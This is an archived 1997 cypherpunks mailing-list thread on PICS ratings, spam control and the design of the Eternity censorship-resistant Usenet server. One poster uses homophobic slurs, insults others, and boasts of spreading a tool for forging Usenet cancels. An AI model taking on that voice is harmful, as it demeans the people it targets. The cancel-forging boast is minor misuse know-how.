especially if you like to engage in fearmongering.

>   PICS and RSAC have powerful forces behind them and stand a good chance 
>of establishing themselves as part of the mainstream Internet.

they represent DECENTRALIZED control at the heart, as anyone with half
a brain can recognize..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Wed, 6 Aug 1997 10:48:22 +0800
To: cypherpunks@toad.com
Subject: WOW-COM(TM) News Update
Message-ID: <199708060231.WAA12437@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================
This update is sponsored by IBM   http://www.wow-com.com/professional/systemint/
=============================================================


Dear WOW-COM Reader:

WOW-COM(TM) is the wireless industry's online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1) Upcoming Conference: CTIA's WIRELESS FRAUD '97

2) The Battle continues: Antenna Siting

3) CTIA Supports New Tauzin Legislation to Catch and Prosecute
 Electronic Stalkers
	

WIRELESS FRAUD '97 Conference
=========================================================
http://www.wow-com.com/professional/fraud/

WIRELESS FRAUD '97 Conference is September 28 through October 2 in Orlando, FL.  If you have not made your plans to be where the industry is going to be,  MAKE THEM NOW  because yesterday's wireless fraud solutions may not solve tomorrow's problems. Authentication is helping, so is RF Fingerprinting and other technologies. Despite our successes, wireless criminals haven't given up.  Come to Orlando and WIRELESS FRAUD '97 the last week of September and learn how you can combat fraud.  For more details please see complete information on www.wow-com.com's Fraud Microsite, or call (202)-785-0081 .

The Latest on the Antenna Siting Battle "Now Is the Time for Action, Not Inquiry" 
==========================================================
http://www.wow-com.com/professional/whatshot/

FCC grants CTIA petition challenging local zoning  moratoriums and seeks further comments.  CTIA Says: Further comment spells further delay.  Read the whole story here.

Electronic Stalking and the Wireless Privacy Enhancement Act of 1997
===================================================
http://www.wow-com.com/professional/

Earlier this year, CTIA President and CEO Thomas E. Wheeler testified before Rep.
Tauzin's subcommittee, urging Congress to close a loophole that permitted what he termed "electronic stalking."  Tauzin's legislation clarifies and tightens current law to ban the manufacture, modification, sale and use of equipment used to illegally intercept private, protected conversations over wireless phones . 


=============================
MORE WOW-COM(TM) FEATURES
=============================
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WOW-COM(TM) is insightful: CTIA's unbiased analysis 
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========================================================

This update sponsored by: IBM
http://www.wow-com.com/professional/systemint/

Today, more than ever, wireless carriers must remain flexible and respond rapidly to changing market conditions. Your success will depend on understanding your strategic opportunities and threats and quickly responding to them. To accomplish this, a wireless carrier must build links  that are sophisticated, comprehensive and flexible. This is no small endeavor. IBM has developed a general multilevel blueprint of a wireless company to assist wireless carriers pursuing this goal. Take a look at how we can help you achieve your goals.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 15:05:17 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <1.5.4.32.19970806003415.00689254@pop.pipeline.com>
Message-ID: <LJVZae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> AOL/PrimeHost has reactivated JYA.
>
> AOL's story for the takedown is that our seldom used ftp
> component was being used by unidentified parties to traffic in
> warez and that it had nothing to do with the http part, "whose
> content does not concern us."
>
> Still, it's odd we did not get a call about the problem as was done
> a few weeks ago for a similar warez invasion. At that time, we
> offered to close our ftp, but the PrimeHost rep said no, we'll monitor
> it, as we do other ftps. I specifically asked to be notified if it
> happened again, but wasn't. And it's not clear why it took a
> week for me to find out what was what. Or why not AOL did not
> just close the ftp and leave the http operating.
>
> 'Course, maybe the  takedown was signal of distrust of JYA
> innocence. And a warning.
>
> Thanks to the folks who offered more help than the teapot
> tempest seems to have warranted -- so far.

Sounds like bullshit.

I urge you to find a more honorable upstream provider.
Preferrably someone who gets connectivity off of AGIS, who doesn't
censor content.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 6 Aug 1997 15:13:51 +0800
To: cypherpunks@toad.com
Subject: spam-- a technological solution/proposal
Message-ID: <199708060608.XAA22391@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



for a long time conversation here has covered the possibility of 
"certificates" especially the cryptography and algorithms behind
them. also, spam is a frequent topic. in fact I think the term
"spam" was used on this mailing list almost before anywhere else.

at the heart, spam is a fascinating question. the internet has
been designed to survive a nuclear war through its decentralization,
i.e. a threat from without. but what about a "threat from within"
such that your own nodes can be corrupted? this is the case with
spammers. it's an extremely difficult question to solve, and involves
concepts like a body, "immune system", cancer, etc.

after thinking about it for many moons, here is an interesting idea that I 
think could work on "spam prevention" using certificates. it's 
somewhat decentralized and has other nice "cyberspace friendly" features.

a "spam-free certifying agency" is started. this is essentially
a web site that allows people to download "spam-free certification".
it parcels out new digital signatures to anybody who asks.

the system works simply as follows: a person is spam-free until 
"the net" complains otherwise. the agency decides what threshold
of complaints constitutes a loss of "spam-free certification". 
when it revokes a certificate, it sends out the revocation to
the net.

you'd need something like the DNS system today to carry all the
spam-free certificates in a distributed fashion. everyone who
reads their mail can have automated checkers that throw out 
mail from non "spam-free" certified emailers.  this system requires
people to put their spam-free certificates in their mail.

the idea is that spammers could get intially certificates, but that 
complaints would be so numerous and so immediate that they couldn't get out 
that many letters before they lost their certification due to everyone
immediately complaining.

another interesting approach would be for internet providers not to allow
too many mails to be sent after a new spam-free certification of a 
new email address. that is, tie in the email addresses themselves to
the spam-prevention system.

interestingly many of these ideas are similar to the credit-reporting
agency techniques. you can get credit after you get a credit history.
the more history, the more credit. perhaps a system that limited the
amount of mail a person could send based on a "spam free history" 
could work well.

I think you could have a system that had multiple spam-free
certification agencies. you could have standards that try to juggle
among multiple agencies and certificate schemes. a variety of schemes
is better than none.

of course, all the usual caveats apply here. it's patently obvious
this system could be misused and manipulated. however I believe it's
the most promising route of anything that's been tried. I personally
think legislative/litigation solutions are a waste of time and potentially
harmful. if anyone would like to help develop this, please send me
email.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 6 Aug 1997 07:46:21 +0800
To: cypherpunks@cyberpass.net
Subject: eternity-0.08 up, more beta testers?
Message-ID: <199708052310.AAA07511@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




We are now on eternity-0.08.  See:

	http://www.replay.com/aba/eternity/

and	http://www.dcs.ex.ac.uk/~aba/eternity/ for the software.

It's now much easier to install there are even some instructions on
what to do in the README.  There is now a configure script which
greatly simplifies installing.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 6 Aug 1997 05:06:51 +0800
To: cypherpunks@toad.com
Subject: Re: "Censor's Sensibility" sidebar, from Time Magazine
In-Reply-To: <Pine.GSO.3.95.970805105422.27178I-100000@well.com>
Message-ID: <Pine.LNX.3.93.970806022614.103A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997, Declan McCullagh wrote:

> NetNanny
> 
>    (www.odci.gov/) U.S. Central Intelligence Agency

Is thats where the world fact book is mounted?  It would be a pitty that
this usefull resurch tool would be blocked.  I mean thay might find out
that the CIA consideres every single country in the world a magour transit
point for drugs.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+dVFKQK0ynCmdStAQGSvwP9HLq/s8Xk/thxwcJDC7sQJL1Zd8r/vBNX
zmUeTwPazpc2Lw88dywH6D3hUD7+abn1I+Iw0OqVZDzNjN5yb8b2mSPpXribCqfI
ag4Rx7BjmnWq4rsJRaxtA3GOliKPvbP09Lmq3zDYm2DRz+24bVcWoibyls7BkAAd
c3SU7XmUG3Q=
=s7At
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 6 Aug 1997 05:11:08 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970805102802.0077fe24@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.970806024019.103B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997 stewarts@ix.netcom.com wrote:

[...]

> While trying to charge money for communications
> may work, I'm inclined to doubt it; the more interesting currency to
> try to model is Reputation, which leads to more like an Ender's Game
> kind of net, or to semi-closed communities like the Well (is?was?).

The semi-closed communities are forming even now.  Usenet2, the fur
hyrackies and the hyracky that shall not be named are all examples of
this.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+dX+qQK0ynCmdStAQHLgQQAuctUCLt5CIUEkC0TzkrRcNtm0zjQwvQb
9QcfDNRcXnOyvRLnWEnM5hstA/Car7+7v+A2abLl/klMptSBmRKMeuScdMHu3n6w
eohX22T1WzV49DCO0WIGMVkuPefxEoF13zGUASacNkFB/TwNliOw7KTnI2MpCJqC
c/aF7V7kxxE=
=7ZQn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 6 Aug 1997 15:32:31 +0800
To: cypherpunks@Algebra.COM
Subject: distributed data store, a la eternity
Message-ID: <199708060720.DAA17656@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: application/pgp

PGP message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 6 Aug 1997 16:23:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: spam-- a technological solution/proposal
Message-ID: <199708060812.EAA17863@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: application/pgp

PGP message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 6 Aug 1997 23:14:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <19970806075802.12530@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
> Here's the sequence of events as I see it:
> 
>  1. spammer spams you with adverisement for phone sex line
>  2. you try to sue phone sex line company
>  3. phone sex company denies all knowledge
>  4. government says all email must be authenticated 
>  5. government issues internet drivers license
>  6. anonymous remailers work around authentication requirement
>  7. government outlaws remailers
> 
> See any flaws in that logical and undesirable sequence of events?

The flaws become apparent if you try to attach a *realistic*
probability to each step.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 6 Aug 1997 16:15:54 +0800
To: cypherpunks@toad.com
Subject: re: "Please get more info on PICS"
Message-ID: <199708060712.JAA23357@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Vladimir Z. Nuri" wrote:

> DM, JW, *please* get more info on PICS. in the early stages of its
> development, many people were interested in using the rating
> system to rate *cool* pages. that is, the same system could be
> used to point to neat content and help people navigate. therefore,
> your examples always involving censorious groups like the
> "christian coalitian" is highly misleading. have you heard
> of the "point communications" awards, surely? such a system
> would benefit immensely from the standardization of ratings that
> PICS is trying to achieve..
> 
> I urge all rabid libertarians to get a clue about what the
> rating systems are actually trying to accomplish.

There's a similar debate about whether "guns kill people" or "people
kill people"[*].  Although it's the repressive regime that actually
causes the supression, the widespread availability of rating systems
makes it easier for them to do so.

Although the PICS rating system permits diverse rating systems, in
practice the oligopoly in the browser market confines this to the
value system of the ruling elite (unquote).  Notably, the current
RSACi rating system makes no distinction between consenting sex in
marriage and paedophilia: both earn a Sex-4 rating.  Probably many
people feel the first is more acceptable than the second, but they
have no way to express this in current PICS implementations.
(http://www.rsac.org/rating_description.html)

::Boots

[*] The correct answer, by the way, is "politicians kill people"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 22:36:55 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <Pine.LNX.3.93.970806173954.538C-100000@shirley>
Message-ID: <c5o1ae6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Tue, 5 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I urge you to find a more honorable upstream provider.
> > Preferrably someone who gets connectivity off of AGIS, who doesn't
> > censor content.
>
> You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
> routers ect are so misconfigered ect that pagets seem to move threw it
> more by coninicdence then anything else.

(I'm trying to reply to my incoming mail in the order it was received,
still doing last weekend's mail, but I'll make an exception.)

David, it's remarks like these that cause people to conclude that you're
not very bright.  I'm not a customer of AGIS or any of its downstreams,
and I get excellent connectivity to their sites.  I remind the readers
that certain groups on Usenet hate AGIS because of their refusal to
censor content. E.g. read the Net.Scum page for Debbie Taylor to read
how the homos tried to censor the Web site called "www.gothatesfags.com"
and how AGIS refuses to bend over.  For this reason, homos (is David one?)
spread lies ike the above about AGIS, using meaningless technical jargon
and implying that that it doesn't work properly, But the fact is that the
recent study by the Boardwatch magazine ranked AGIS's network third best
among major backbones. (It would be first best of they ranked their
commitment to freedom of speech.)

More power to Phil Lawlor and death to all censors!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 22:30:34 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <1PP1ae8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> Mark Grant <mark@unicorn.com> writes:
>
> > so all that a government need do to censor a particular site is to
> > scan for those messages and issue cancels. Sure, your site and those
> > upstream may not accept such messages, but potentially they can
> > still wipe out a large fraction of the system or at least force
> > users to change their eternity URLs on a regular basis.
>
> Two comments on this:
>
> - I understand cancels are ignored a lot of places, due to problems with
>   censorous people, and pranksters issuing tons of forged cancels.
>   These censorous people are actually doing us a big favour because it
>   is their actions which has led to the widespread policy of ignoring
>   cancels.

Yep. (I hope my making available an easy-to-use program for foring cancels
helped a little too, he he he.)

>   However this is going on other peoples information.  I don't have
>   any figures for how widespread the practice of configuring news to
>   ignore cancels is.

Major ISPs (America Online, Netcom, Earthlink..) all ignore cancels.
More precise numbers would be interesting.

> However I'm not sure having passphrases is that good of an idea,
> because it'll be furtively passed around amongst the community of the
> person who submitted the documents, but that can always leak out.

I can't think of a clever way to use public keys (and don't think this
is a good idea anyway)

> Longer term perhaps some of Ross Anderson's more advanced ideas can be
> added, as discussed by Ryan Lackey in the thread entitled "distributed
> data store, a la eternity".

Adam, you're doing a great job. Can I buy you a dinner when I'm in London?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 6 Aug 1997 19:28:30 +0800
To: cypherpunks@toad.com
Subject: Eternity Uncensorable?
Message-ID: <Pine.LNX.3.91.970806120354.15807A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




Seems to me there's a fundamental flaw with the current Eternity server;
as I understand it the messages are identified by a subject which is the
SHA of their URL, so all that a government need do to censor a particular
site is to scan for those messages and issue cancels. Sure, your site and
those upstream may not accept such messages, but potentially they can
still wipe out a large fraction of the system or at least force users to
change their eternity URLs on a regular basis.

It also doesn't provide true security, since when someone sets up an 
illegal site the gubment can find the messages on Usenet, decrypt them, 
and then threaten the remailer operator who posted them.

I understand that this is just an alpha release, but I don't see any
obvious way to fix these problems with a Usenet-based system. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 6 Aug 1997 20:14:18 +0800
To: rdl@mit.edu
Subject: Re: distributed data store, a la eternity
In-Reply-To: <199708060720.DAA17656@the-great-machine.mit.edu>
Message-ID: <199708061206.NAA01240@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Lackey <rdl@mit.edu> writes:
> I've been looking at the current eternity server, and it's a nice
> thing, but I'm kind of convinced no system like this which does not
> allow for electronic payments for those taking the risks will be
> successful.  Perhaps I'm wrong, but I don't think so.  It takes
> money to run a secure data store.  (my current project depends upon
> secure distribued available data storage, so I've been looking into
> this for a while)

The eternity servers announced recently are experimental.  That is to
say they are designed as a vehicle for improvement.  They are not
completed systems yet.  I am most keen myself to see eternity servers
which are truly resilient; the implementation we have is a first cut.
The whole idea is for it to be improved.

As to the risks issue (being an eternity server operator might lead to
legal hassles, and therefore people need to make money to compensate),
I have three main comments on that:

1. Accepting money for activities might worsen your legal position as
   you are then personally offering services.  This issue has been
   argued about in the past in relation to the idea of having
   for-pay remailers.  I'm not legally qualified to comment on this.

2. With my design the document store is a separate distributed system
   which is now part of the landscape, and is well accepted as a home
   for all kinds of dodgy materials and discussions.  People are used
   to the fact that some alt USENET newsgroups are full of material
   which is illegal in some parts of the world.  If you start from
   scratch with a new document distribution method, your first few
   servers are easy targets, due to small numbers.  People will be
   intolerant of them, and the Feds will probably go for RICO
   conspiracy and lock all 6 up.  Game over before you start.  I agree
   that you can do much better theoretically with this model, but
   you've got to consider existing network social norms, USENET is
   part of the landscape.  You won't simultaneously manage to threaten
   all news admins in the world to close down alt groups, they are in
   too many countries, and admins will rebel, and there will be plenty left. 

   So using USENET allows you to point the finger and say "it's not my
   material, it's just USENET posts".  Much like altavista doesn't
   issue cancel messages for posts in USENET news, it's not their
   problem, they're just providing a view onto a distributed database.
   Or much like providing an open access NNTP server, or access to
   users only as done by thousands of ISPs the world over without
   ill-effect modulo localised attempts to force people to not carry
   some groups.

   Another less openly stated opinion of mine is that the way to do it
   is to start as I have, and add other document sharing channels
   later.  Keep some confusion for the observer as to where the
   material is coming from.  As long as it _might_ have come out of
   USENET news on the fly, you can use that as a cover argument.  If
   the shit hits the fan you can fall back to that.

   Probably long term I think you would want to keep USENET as 
   a fall back system, but definately keep it as the distribution
   channel (it is _the_ most secure way of delivering anonymous
   messages, where you want to protect the recipients identity:
   broadcast it).  Much better than sending mail via anonymous
   remailers.  Mixmaster is good, but not that good in the face of
   repeated posting by one individual of materials which seriously
   annoy a major government.

3. Last argument is the "good enough" argument.  If the above tactic
   of using USENET as a distribution mechanism, and having cacheing,
   and optionally charging for storage, with exchange of articles
   between servers survives censorship in practice, why bother with
   anything more complex.

   For example Ross talks about arranging it so that documents are
   reconstructed from secret shares so that individual servers don't
   know what they've served.  Well that's sexy stuff, and clearly more
   secure if you absolutely must conceal which server served what
   material, if it has definately got the material from a database
   which it owns.

   The basic threat model of my eternity server design is
   disposable nodes.  That is it's like the new low orbit satellite
   systems, the satellites fall in and burn up after a while, but it
   doesn't matter because it's part of the design to keep throwing up
   new ones often enough to ensure continuous cover.  Same for
   eternity servers.  Individuals will cave, but when they do other
   enraged netters will start some more in protest.

   Just look at the Scientologist battles.  It's simply amazing the
   bravery of the Scientologist detractors in face of types of
   harrasement thrown at them.  Despite this the Scientologists are
   losing in that their materials are all over the place.  This
   suggests to me that USENET could work just fine.

   Also there is the possibility of private eternity servers.  That is
   you have an eternity server for your own use only, or only for a
   group of friends, or only for users of your ISP.  That one won't
   come under attack, and provided USENET doesn't get censored you'll
   be ok.

   Perhaps pointing the finger at USENET will be an effective
   strategy.  Perhaps we'll find out one way or another in the next
   few months :-)  Empirical cryptography.


Now some ideas on moving towards a real Anderson Eternity Service (in
small stages, the first steps are far removed), I have several ideas
for where to go next:

a) Cache replacement policy based on number of accesses

   There is currently a cache of eternity documents.  Documents and
   servers are configurable to either cache: on, off, or encrypted.
   One solution to the question of what happens when you fill up that
   100Mb cache is to discard least accessed pages.  Popular stuff stays,
   and you have fixed storage requirements.  The mantra "Disk is cheap".
   It wouldn't kill someone these days to dedicate a 6Gb disk for an
   eternity cache.

b) Have the above cache policy augmented with pay for disk space with
   ecash storage fee included with post.  Realistically for either you
   need a way for eternity servers to ask each other for articles.
   Well they can do that easily enough via http, but you still need
   to know which servers are available.

c) Use news archival services as another database to query.  eg
   altavista, dejanews.  I am starting to think that this is not such
   a hot idea now, because it's too centralised, and the operators are
   already hostile to bloat of their archive space, and do things like
   truncate UUencoded documents, and PGP ascii armored documents already.
   I mean ok, I'm sure we could run a war of new crude stego improvements
   being countered by more advanced eternity article detectors, up until
   we get to a natural langauge looking stego encoder.  Texto is a simple
   example of one of these.

> Would anyone else be interested in working on a real reliable
> distributed data store, more like what Anderson described than the
> current Eternity server?  Specifically, something with payment
> systems built in, 

Payment is definately going to go in.  It will be necessary to control
volume somehow if it gets popular, and it allows providors to cover
their expenses.  Charging for document download might be an idea also
to cover bandwidth.

> a multiplicity of ways to pass messages from server to server, 

That has to come also, because of USENET expiring, and because of the
non-distributed nature of systems of using the news archival services
(dejanews etc).

Initial ideas are:

- have list of eternity servers, and query them randomly until you
find one which has the document.  Pro: simple solution, fast lookup,
Con: has easily accessible comprehensive list of who's running
eternity servers.

- build something in terms of remailers to allow eternity servers to
query each other anonymously.  Con: _slow_ lookup.

- build specialised DC-net or pipe net setup with eternity servers on
it.  Pro: fast lookup, harder to track who's serving what, Con: no
implementations yet, con #2 provides a fat target for distrupting,
take out the DC net/pipenet and the document exchange connectivity
fails.

- secret sharing documents over eternity servers

> and a multi-level design in which a maximum amount of anonymity is
> preserved?

One approach would be to treat anonymity as a separable issue from the
issue of hiding which server served which document (and issues of
secret sharing etc).

That is couldn't the viewer use crowds, or less securely
www.anonymizer.com.

However I think there is an opportunity to have the document
constructed by the eternity server nodes in such a way that only the
requester can reconstruct the document.  Eg each server encrypt the
share it is serving with the requesters public key.  Then only the
requester can recover the shares and hence the document.  You should
make sure it's forward secrect too.

> I'm not saying I don't like the current eternity server, just that
> I'd like to work on one with payment systems built in, 

I'm all for payment methods.  Perhaps hascash
(http://www.dcs.ex.ac.uk/~aba/hashcash/) would be a good experimental
currency to get it working with first, and then switch to real
anonymous ecash a bit later.

> and more closely following the original idea for an eternity server
> (which I thought was a great one).

I'm all for making things as resilient and crypgraphically strong as
you can.  However I think part of the reason for different opinions is
that you are addressing three issues at once:

  - non censorable document store
  - preventing people correlating material with the server which served it
  - making the users accesses anonymous

The design of my eternity server as it is at the moment trying to
address just:

  - non censorable document store

by relying on the low orbit satellite model for public access servers,
and the borrowing from the dififculty of censoring USENET news.

Mild attempts can be made to protect correlation of users with
material accessed:

  - enable ssl on the server

(Cheap solution I know, as it relies on the trustworthiness of the
operators of the server, and that the system hasn't been compromised
by hackers, and that you have possibility of MITM attack if the
servers certificate isn't authenticated, or even if it is with a more
determined long term MITM attack).

No attempt is made to prevent:

  - people correlating material with the server which served it

because that is outside the design criteria.  Who cares what they
correlate for the server.  The server is just forwarding you USENET
news articles, just like an open access NNTP server, with a bit of
reformatting.

If someone takes enough exception to that there will be plenty of
other eternity servers to take up the slack.

Please feel free to take and hack the eternity-0.08 source code, and
contribute, or hack it for your whatever purposes.

I'd be interested in any comments on this somewhat long post from
yourself, and other readers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 6 Aug 1997 21:50:17 +0800
To: mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806120354.15807A-100000@cowboy.dev.madge.com>
Message-ID: <199708061308.OAA02171@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




These comments are useful, as eternity needs some documentation, and
I'm supposed to be writing an article for Phrack on this for deadline
of this sunday, and arguing with people is a good way to get
motivation to write explanations etc.  This dual purpose is why this
is a longish post.

Mark Grant <mark@unicorn.com> writes:
> Seems to me there's a fundamental flaw with the current Eternity
> server; as I understand it the messages are identified by a subject
> which is the SHA of their URL, 

yup.

> so all that a government need do to censor a particular site is to
> scan for those messages and issue cancels. Sure, your site and those
> upstream may not accept such messages, but potentially they can
> still wipe out a large fraction of the system or at least force
> users to change their eternity URLs on a regular basis.

Two comments on this:

- I understand cancels are ignored a lot of places, due to problems with
  censorous people, and pranksters issuing tons of forged cancels.
  These censorous people are actually doing us a big favour because it
  is their actions which has led to the widespread policy of ignoring
  cancels.

  However this is going on other peoples information.  I don't have
  any figures for how widespread the practice of configuring news to
  ignore cancels is.  

  Perhaps we could do a little experiment here, you (or someone who
  has the tools/knowhow handy try cancelling the dozen or so eternity
  articles in alt.anonymous.messages, and we'll have a little survey
  amongst list readers as to how well the cancels work.

- Comment #2.  The eternity servers have caches.  They cache
  documents. (This is configurable).  There is currently no cache
  replacement policy because I haven't got around to it yet.  So
  currently once viewed the docs stay there forever.  (When I do get
  around to cache a replacement policy it will be either least
  accessed, and/or lowest ecash payment).

I'm however not so keen to promote the idea that actually the docs you
are looking at are coming off the servers cache because it's nicer to
leave them presuming it was just read off the NNTP server right then
(which it can be at the moment).
   
It's a two stage process at the moment:

   - server reads news at some chosen internval and creates database
     of article number, subject field, and message-id field for
     subject fields which look like eternity documents.

   - some user comes along and types a URL which matches the chosen
     hash.  Server fetches document from NNTP or local news spool
     using the article number as looked up in the database.  Depending
     on the eternity.conf setting for cacheing (on/off/encrypted) and
     the document setting (on/off/encrypted) the document will be
     either not cached, cached in clear, or cached in encrypted form
     (with sha1( 1<url> ) where <url> is the url of the document).

I could change it to a single stage process so that eternity documents
are immediately cached.  This is something easy to change, which could
be done if people got trigger happy with cancels and it was affecting
things.  Then you would be left with cancel wars :-) The eternity
server would grab the article at first opportunity though.

Later versions of the software will have to exchange documents
somehow, so then as long as one server saw the document before someone
cancelled it you'd be ok.

Clearly you could have an email submission channel where you just
email the article to a server, but that gets away from the idea of
pointing the finger at USENET.  (Cacheing is somewhat protected in
legislation even, because it's just a USENET document, and all you're
doing is cacheing it according to some cache replacement policy).

Some more technical explanations of what's going on encryption wise,
is that articles in the news spool have an outer encryption layer
which encrypts in one of these two ways:

   1) with pgp -c and password "eternity"

   2) with pgp -c and password of sha1( "1<url>" ) 
      where url is the document url

Inside this encryption layer is the document options (document url,
per document cacheing policy, and a marker of whether the document is
exdirectory or not (exdirectory docs not listed on document list).
Plus an optional pgp key, and the ascii armored, optionally signed
document.

There is an optional inner layer of encryption, the ascii armored
signed document can optionally be encrypted:

   3) using a user selected passphrase

Option 1) provides little more protection than rot-13.  But should be
of some use in that it prevents the less clued from reading the
documents out of USENET directly.

Option 2) means that you need to know the URL before you can access
the document.  Without the URL, you're hosed.

Perhaps the URL is easy to guess, perhaps it's not:

	http://warez.eternity/safuwerqwkesadfiqwerdsf/

Option 3) means that you need the passphrase to read the document in
addition to the URL.  This has similar effect to having a garbled URL,
choose a hard to guess passphrase.

You can turn on SSL at the eternity server, but that means you're
still trusting the operator, and root on the system.

To do it properly, you'll need a local eternity server if you want to
good security of encrypted documents.  Easy enough to run a local
eternity server if you're using linux on a ppp or permanently
connected machine.  My development machine is a ppp connected linux
machine.

However I'm not sure having passphrases is that good of an idea,
because it'll be furtively passed around amongst the community of the
person who submitted the documents, but that can always leak out.

And people using non-local eternity servers will be revealing the
shared passphrase to the server admin, (and to the snooping world, if
the server isn't running with SSL turned on).

> It also doesn't provide true security, since when someone sets up an 
> illegal site the gubment can find the messages on Usenet, decrypt them, 
> and then threaten the remailer operator who posted them.

Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
do.  Why don't we have it yet?  (Ulf?  Lance?)

Then you have as true security as you can get from a digital mix with
the parameters mixmaster has.

